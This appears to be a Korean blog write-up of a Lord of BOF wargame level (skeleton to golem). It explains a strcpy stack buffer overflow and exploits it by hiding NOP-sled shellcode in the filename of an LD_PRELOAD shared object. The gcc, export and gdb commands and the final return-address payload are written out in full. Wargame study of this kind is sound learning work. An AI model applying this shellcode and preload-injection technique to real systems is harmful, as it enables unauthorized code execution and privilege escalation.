[LOB] skeleton
skeleton으로 로그인하면, golem 파일이 있다...
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// stack destroyer!
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}
코드를 확인하면,
1. 인자개수 제한 없음
2. environ 환경변수를 가리키는 포인터로 환경변수를 0으로 설정
☞ 환경변수에 쉘을 넣고 문제를 푸는 거 불가
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
3. if(argv[1][47]!='\xbf')에서 48bytes째에서 입력 인자가 '\xbf'가 되어야 한다.
4. strcpy(buffer, argv[1]);에서 인자 길이를 지정하지 않아서 버퍼오버플로우 공격이 가능하다.
5. buffer를 40bytes까지 0으로 설정이 되고(버퍼 초기화), buffer+48 이후가 전부 0으로 설정(스택 초기화)된다.
// stack destroyer!
memset(buffer, 0, 40);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
☞ 이 부분이 이문제에서 새로 추가된 부분이다.
위의 코드를 통해서 환경변수 초기화, 버퍼 초기화, 스택 초기화가 이루어진다.
갈수록 문제를 풀기 어렵게 만들어지고 있다ㅠㅠ
이 문제 풀이법을 찾아 보았는데,
buffer보다 낮은 주소의 공간을 이용해야하며, LD_PRELOAD 환경변수를 이용해야 한다고 한다.
LD_PREOAD 환경변수는 프로세스 실행 과정 중 라이브러리 로딩 시 LD_PRELOAD 변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있을 시 함수를 먼저 호출한다고 한다.
< LD_PRELOAD 환경변수에 저장하는 여러 가지 방법 >
특정 바이너리 실행 시에만 사용
LD_PRELOAD=filename ./binary
쉘에 등록하여 사용
- 어떠한 바이너리든지 실행 시마다 LD_PRELOAD 동작
export LD_PRELOAD=filename
/etc/ld.so.preload에 설정
- 해당 파일이 존재하지 않으면 생성해 주면 된다.
- 계정에 상관없이 동작
LD_PRELOAD 활용해서 푸는 방법은,
LD_PRELOAD로 참조하는 라이브러리 이름에 쉘코드를 담아 BOF 취약점(strcpy)을 공격해야 한다.
1. 아무 동작을 하지 않는 파일을 만들고 gcc로 컴파일을 한다.
- 컴파일 옵션으로 fPIC, shared를 넣어주어야 한다. ☞ shared object가 되도록 함.
[gcc] 옵션
1) fPIC옵션 : Position-Independent Code의 약자, CPU에 관계없이 동작하도록 컴파일한다.
2) shared 옵션 : 우선 공유 라이브러리와 링크하고 공유 라이브러리가 없으면 정적 라이브러리와 링크한다.
1) 아무 동작을 하지 않는 파일 : tmp.c
#include <stdio.h>
int main(){
printf("Hello World!");
}
2) tmp.c를 gcc로 컴파일. 이때 파일이름에 [NOP + Shellcode]를 넣어주어야 한다.
* 쉘코드에는 \x2f가 없어야 한다.
저번에 사용했던 코드 [NOP + Shellcode]:
`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
2. LD_PRELOAD 변수에 생성된 shared object 파일 등록
☞ 프로그램이 실행될 때 해당 파일이 메모리에 등록됨.
$ export LD_PRELOAD=/tmp/golem/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
$ echo $LD_PRELOAD
3. gdb를 통해서 이 파일이 어디에 할당되는지 확인
$ gdb golem
(gdb) b *main
(gdb) r `python -c 'print "A"*44+"\x40\xfb\xff\xbf"'`
(gdb) x/100wx $esp-3000
* 스택프레임 아래에 존재하기 때문에 $esp-3000으로 설정해야 합니다!!!! 그냥 $esp로 찾는 부분은 0으로 덮어 쓰일 부분이어서 그쪽으로 할당하면 문제가 안 풀림!!
▶ RET에 덮을 주소 선정 : 0xbffff5f4
4. 해당 주소를 RET를 덮을 주소로 인자 생성
sub $0x2c, %ebp
를 통해 변수를 위해 스택에서 44bytes 할당된 것을 확인할 수 있다.
☞ i (4bytes) , buffer (40bytes) 이므로 따로 dummy 값이 없이 buffer(40bytes)+sft(4bytes)+ret(4bytes)에서 RET를 덮어쓸 주소로 만들면 된다.
인자값 : `python -c 'print "A"*44+"\xf4\xf5\xff\xbf"'`
최종 실행 결과 :
새로운 방식으로 푸는 문제였다...
LD_PRELOAD라는 개념을 새로 배울 수 있었다.
갈수록 문제가 어려워지는거 같다 😢😢😢
Reference :
- LD_PRELOAD 개념
https://ye0nny.tistory.com/137
- Write-up
https://watchout31337.tistory.com/133
https://powerco3e-lch.tistory.com/51